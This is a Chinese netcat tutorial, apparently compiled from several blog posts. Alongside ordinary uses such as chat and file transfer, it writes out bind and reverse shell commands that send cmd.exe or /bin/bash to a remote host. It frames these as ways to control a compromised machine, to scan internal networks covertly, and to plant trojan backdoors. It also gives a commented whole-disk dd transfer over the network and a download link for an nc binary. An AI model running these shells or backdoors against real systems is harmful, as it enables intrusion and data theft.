目录
Netcat
Netcat 常称为 nc,拥有“瑞士军刀”的美誉。nc 小巧强悍,可以读写TCP或UDP网络连接,它被设计成一个可靠的后端工具,能被其它的程序或脚本直接驱动。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能,它基于socket协议工作。在渗透测试领域,我们通常利用它来反弹shell。
常用参数:
- -l: 开启监听
- -p:指定端口
- -t: 以telnet形式应答
- -e:程序重定向
- -n:以数字形式表示ip
- -v:显示执行命令过程
- -z : 不进行交互,直接显示结果
- -u :使用UDP协议传输
- -w : 设置超时时间
常见的用法:
端口扫描:
如果是想单纯的端口扫描的话,利用其它工具比如 nmap会更好。nc端口扫描最主要的用途是,当我们获得了一个网站的权限之后,我们想再渗透进该网站的内网进行渗透。然而,我们的nmap工具是不能扫描到内网的,所以这时我们可以把nc上传到web服务器上,利用它来扫描内网主机。而由于nc体积很小,所以不容易被发现。
nc -z -v -n 192.168.10.14 20-23 #端口或端口范围
如果探测到端口开放了,比如上面的 80 端口开放了,我们就可以继续探测其banner信息:
-
nc -v -n 192.168.10.14 80
-
然后输入 get
聊天
我们还可以利用 nc 做一个简易版本的聊天工具,通过一边监听端口,一边发送消息去该端口,形成一个简易版本的服务端—客户端模型。
服务器端:
nc -lvp 8888 #监听8888端口 -l 监听 -v 显示详细信息 -p 指定端口
客户端:
nc -nv 10.96.10.208 8888 #连接到服务器的8888端口 -n以数字形式显示ip -v显示详细信息
文件传输
我们可以利用 nc 往客户端传送文件
服务器端:
nc -lvp 8888 < test.txt
客户端:
nc -nv 10.96.10.208 8888 > test.txt
反弹shell
正向连接,意思就是我们主动连接肉鸡
假如我们现在入侵到了一台主机上,我们可以通过执行以下命令将该主机的cmd命令弹到8888端口上
肉鸡
nc -lvv -p 8888 -t -e cmd.exe
然后我们的主机访问该肉鸡的8888端口,神奇的事就发生了。我们当前的cmd环境变成了目的主机的cmd环境了
我们的主机
nc -nvv 192.168.10.14 8888
反向连接,意思就是我们监听端口,然后肉鸡主动连接到我们的主机
我们的主机
nc -lvp 8888
肉鸡
nc -t -e cmd.exe 10.96.10.208 8888
蜜罐
作为蜜罐
一直监听8888端口,知道 ctrl+C 停止
nc -L -p 8888 > log.txt #监听8888端口,并且将日志信息写入log.txt中
简介
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。
各种版本的netcat
netcat有非常多的版本,刚开始我自己也很混乱,因为各个版本的netcat使用方法和参数都不太一样。这里列举下我现在实验环境中的几个版本。
case1
Kail Linux自带的nc工具,版本是v1.10-41+b1。
这个版本支持-e参数。
man nc
case2
CentOS 6.4自带的nc工具,是BSD General版本的。
这个版本不支持-e参数。
用man命令查看,man nc。
case3
源码安装了GNU netcat版本,源码地址是http://netcat.sourceforge.net/
这个版本支持-e参数。
总结
之前看网上资料,有按照netcat-openbsd版本和netcat-traditional版本来区分,但是我也没找到这两个所谓版本的源头或者官方网址。但是无论如何,netcat各个版本大同小异,主要还是要自己看一下你的机子上的netcat的使用参数。
nc -h 看简易参数介绍
man nc 看详细使用手册
netcat能干啥?
下面进入正题,介绍netcat一些牛叉的功能。
端口扫描
基本用法
nc -z -v -n 127.0.0.1 21-25
可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z 参数告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v 参数指使用冗余选项,即详细输出
-n 参数告诉netcat不使用DNS解析,即仅仅是一串IP数字,一般如果后面是跟IP数字的话,就带上-n参数;跟着是域名的话,就不带-n参数。
这个命令会打印21到25所有开放的端口。
Banner是一个文本,Banner是一个你连接的服务发送给你的文本信息。当你试图鉴别漏洞或者服务的类型和版本的时候,Banner信息是非常有用的。但是,并不是所有的服务都会发送banner。
一旦你发现开放的端口,你可以容易的使用netcat 连接服务抓取他们的banner。
nc -v 127.0.0.1 22
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
聊天服务
假如你想和你的朋友聊聊,有很多的软件和信息服务可以供你使用。但是,如果你没有这么奢侈的配置,比如你在计算机实验室,所有的对外的连接都是被限制的,你怎样和整天坐在隔壁房间的朋友沟通那?不要郁闷了,netcat提供了这样一种方法,你只需要创建一个聊天服务器,一个预先确定好的端口,这样子他就可以联系到你了。
Server
nc -l -p 20000
有的nc版本不需要-p参数,具体请看各个版本nc的参数介绍
nc -l 20000
Client
nc -n 192.168.71.131 20000
netcat在Server的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
文件传输
大部分时间中,我们都在试图通过网络或者其他工具传输文件。有很多种方法,比如FTP,SCP,SMB等等,但是当你只是需要临时或者一次传输文件,真的值得浪费时间来安装配置一个软件到你的机器上嘛。假设,你想要传一个文件a.txt 从A 到B。A或者B都可以作为服务器或者客户端。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
Case1:以下,让A作为服务器,B为客户端。
这里我们创建了一个服务器在Server A上并且重定向netcat的输入为文件a.txt,那么当任何成功连接到该端口,netcat会发送a.txt的文件内容。
在客户端Client B我们重定向输出到a.txt,当Client B连接到Server A,Server A发送文件内容,Client B保存文件内容到a.txt。
Case2:同样,也可以让A作为客户端,B作为服务器。
在Server B上(-l参数监听TCP)
nc -l -p 20000 > a.txt
然后再Client A上
nc -n 192.168.71.130 20000 < a.txt
总结:nc用在文件传输或者目录传输上,传一些简单的,小的文件比较靠谱,传输大文件还是用其他工具把。因为nc传输结束后,没有任何提示,也就是说,我们无法看出文件是否传输结束。
目录传输
和文件传输类似,只是加上了tar命令的联合使用。
这里,我们还是假设,你想要传一个目录test 从A 到B。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
Case1:以下,让A作为服务器,B为客户端。
//Server A上
tar -cvf - ./test/ | nc -l -p 20000
这里的减号很重要,代表标准输出流。
//Client B上
nc -n 192.168.71.131 20000 | tar -xvf -
远程shell
可以使用telnet和ssh创建远程shell,netcat为我们提供第三种方式。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
假设我要在B机器上打开A机器的shell,那么这里把A做为netcat的Server,把B做为netcat的Client。
这里分2种情况
Case1:
假如A机器上的netcat版本支持-e参数(详细见上面第一节的描述)
那么在Server A上运行命令如下:
nc -l -p 20000 -e /bin/bash
然后在Client B上运行命令如下:
nc -n 192.168.71.131 20000
然后在Client B上就可以执行shell远程命令了,如上图ls出A机器上的目录。
Case2:
假如A机器上的netcat版本不支持-e参数
可以用fifo文件和管道重定向来实现。
在Server A上执行命令如下:
mkfifo ./fifo
cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo
在Client B上执行命令如下:
nc -n 192.168.71.131 20000
就可以在B机器上执行A的远程shell了。
这里解释下原因,
我们创建了一个fifo文件,然后使用管道把这个fifo文件内容定向到bash 2>&1中(2>&1 是用来重定向标准错误输出和标准输出)。然后管道到netcat 运行的端口20000上。然后,我们再把netcat的输出重定向到fifo文件中。
整个流程就是:
step1:从网络收到的输入写到fifo文件中;
step2:cat命令读取fifo文件并且其内容发送给bash命令;
step3:bash命令进程受到输入并把结果写回到netcat;
step4:netcat通过网络发送输出到client;
至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。
PS:
Case2的情况中,如果/bin/bash 加了-i参数,在B机器上会显示出主机名和用户名,如下
cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo
反向shell
反向shell经常用于绕过防火墙。
这里实验环境:
A ip:192.168.71.131
B ip:192.168.71.130
假设我要在A机器上打开B机器的shell,如果按照正向shell的做法,应该是把A当成netcat的Client,把B当成netcat的Server,在B上用-l参数监听输入的链接。
但是如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。
反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。
首先在A上执行命令:
nc -l -p 20000
然后在B上执行命令:
nc -n 192.168.71.131 20000 -e /bin/bash
然后在A上执行shell命令就可以了,相当于是B的远程shell了。
今天给大家带来netcat这款工具的简单介绍。netcat有着“网络工具中的瑞士军刀”的绰号。它体积小巧,功能却又十分强大。下面的内容包括,man手册翻译、常用参数介绍及例子。
一、man手册翻译
名称
nc - TCP/IP 瑞士军刀
概要
nc [-选项] 主机名 端口 [端口]…
nc -l -p 端口 [-选项] [主机名] [端口]
描述
netcat是一种简单的unix实用程序,它使用TCP或UDP协议在网络连接上读取和写入数据。它被设计成一个可靠的“后端”工具,可以是直接或容易被其他程序和脚本所驱动。同时,它是一个功能丰富的网络调试和开发工具,因为它几乎可以创建你需要的任何类型的连接并且有几个有趣的内置功能。Netcat,或称为“nc”,作为实际程序的名称,应该是很久以前提供的,这是一种模糊定义但标准的Unix工具。
在最简单的用法中,“nc 主机 端口”为给定的目标主机上的给定端口创建TCP连接。然后,您的标准输入被发送到主机,任何通过连接返回的内容都会发送到您的标准输出。这种情况会一直持续下去,直到连接的网络端关闭。请注意,此行为与大多数其他应用程序不同,这些应用程序在标准输入结束后关闭所有文件并退出。
Netcat也可以作为一个服务器,通过监听任意端口上的入站连接,然后进行相同的读取和写入操作。对于小范围的限制,netcat并不真正关心它是否在“客户端”或“服务器”模式下运行——它仍然会来回地挖掘数据直到不再有剩余。在任何一种模式下,在网络端可配置的不活动时间之后,可以强制关闭。
它也可以通过UDP实现这一点,因此,netcat也许是你一直想要用来测试你的UDP模式服务器的“UDP telnet-like”应用。正如“U”所暗示的,提供的更少可靠的数据传输比TCP连接和一些系统可能在发送大量数据时遇到麻烦,但是它仍然是一个有用的能力。
您可能会问“为什么不直接使用telnet连接任意端口?”这是一个合理的问题,这里是其中一些原因。Telnet有“standard input EOF”问题,所以必须在驱动脚本中引入计算延迟,以允许网络输出完成。这是netcat在网络端关闭之前一直运行的主要原因。Telnet也不会传输任意二进制数据,因为某些字符被解释为telnet选项,因此从数据流中删除。Telnet也会发出一些对标准输出的诊断消息,netcat将这些信息与它的输出隔离开来,并且永远不会修改传输中的任何真实数据,除非您真的想要。当然,telnet不能监听入站连接,也不能使用UDP。Netcat没有任何这些限制,比telnet更小、更快,而且还有许多其他优点。
选项
-c string 在连接之后指定shell命令(谨慎使用)。该字符串被传递到/bin/sh-c执行。如果您没有工作/bin/sh,请参阅-e选项(请注意,符合posix的系统必须有一个)。
-e filename 在连接之后执行指定文件(谨慎使用)。请参阅-c选项以增强功能。
-g gateway 源路由跳点,最多为8
-G num 源路由指针:4、8、12、 …
-h 显示帮助
-i secs 发送线路,端口扫描的延迟间隔。
-l 监听模式,对于入站连接。
-n 只有数字的IP地址,没有域名服务器。
-o file 十六进制转储传输。
-p port 本地端口号(端口号可以是个人的或者是范围:低-高 [包含的])
-q seconds 在标准输入的EOF后,等待规定的秒数然后退出。如果秒数是负数,永远等待。
-b 允许UDP广播
-r 随机化本地和远程端口
-s addr 当前的源地址
-t 使telnet顺利通过
-u UDP模式
-v 冗长(使用两次可以更冗长)。ps.即显示详细信息
-w secs 连接和最终网络读取的超时
-C 在行尾发送回车换行
-z 零读写模式(用于扫描)
-T type 设置TOS标志(类型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用参数介绍及例子
1、端口扫描
局域网内有一台主机,IP地址为192.168.3.242,现通过nc扫描其20-30的端口。
# nc -v -n -z 192.168.3.242 20-30
1
-v是显示详细信息(verbose),-n是不进行域名解析只接IP地址,-z是零读写,是扫描时常用的参数。
2、聊天服务器
局域网有两台主机,其中一台作为服务器IP地址是192.168.3.119,监听了333端口。另一台作为客户端连接服务器。可以实现两台主机之间的聊天。在这里服务器和客户端在连接后其实没什么区别。
服务器:nc -l -p 333
客户端:nc -n -v 192.168.3.119 333
-l是侦听模式,用于截获网络中经过的流量;-p后面接本地端口。
形如这种客户端连接服务器的连接形式我们称之为正向连接。相反地,服务器连接客户端叫做反向连接,通常可以用作木马留后门。当然在这个例子里面体现不出来区别,接下来会展示远程控制中,正向连接和反向连接的区别。
3、远程控制
局域网内有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作为服务器,用kali连接它。
我们先尝试正向连接。打开WIN10的任意端口(本例为333),把cmd.exe 重定向到333端口。
nc -l -p 333 -e c:\windows\system32\cmd.exe
1
然后用kali连接该主机的333端口。
# nc -nv 192.168.3.237 333
1
这样客户端就获得了服务器的一个shell
接下来,我在入站规则里面禁用了nc,再尝试正向连接,看看还能不能成功?
长时间没反应,连接不上了。
一般来说,服务器为了安全考虑会通过入站规则设置禁止外部主机对其进行连接。但是对服务器连接外部主机的限制却比较小。下面介绍通过反向连接方式对服务器进行远程控制。
首先,打开客户端的任意端口(本例定为333),开启侦听模式,捕获通过该端口的所有流量。
# nc -v -l -p 333
1
然后,让服务器连接客户端的指定端口,将cmd重定向发送过去。
nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe
1
连接成功!
反向连接可以用作木马留后门。把反向连接特定主机的命令写进脚本,放置在对方电脑,开机后台运行。
4、文件传输
下面通过一个简单的例子演示文件传输的过程。还是上例的两台主机,我要将WIN10里的一张图片通过nc重定向发送到kalilinux上。这里继续采用反向连接。
客户端(接收方):
nc -lp 333 > huaji.jpg
1
服务器(发送方):
nc -nv 192.168.3.119 333 < d:\滑稽.jpg
1
这样就完成了图片的传输。如果要进行目录传输,可以先用tar工具进行打包后发送,出于节省带宽的考虑也可以进一步压缩再发送。原理相同,这里就不演示了。
5、远程硬盘克隆
服务器端使用管道命令,将磁盘文件重定向到333端口。
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
1
接收端
# nc -lp 333 | dd of=/dev/sda
1
以上是netcat一些简单功能的介绍,这款工具还有很多有趣的功能等待我们去发掘,例如还可以通过内置的加密工具进行加密传输,搭建一个流媒体播放器等等。最后,附上windows系统版本netcat及使用方法。
下载链接:http://pan.baidu.com/s/1c21ZJCc
使用方法:将压缩包内所有文件解压到C:\windows\system32
然后就可以在命令行输入nc命令了。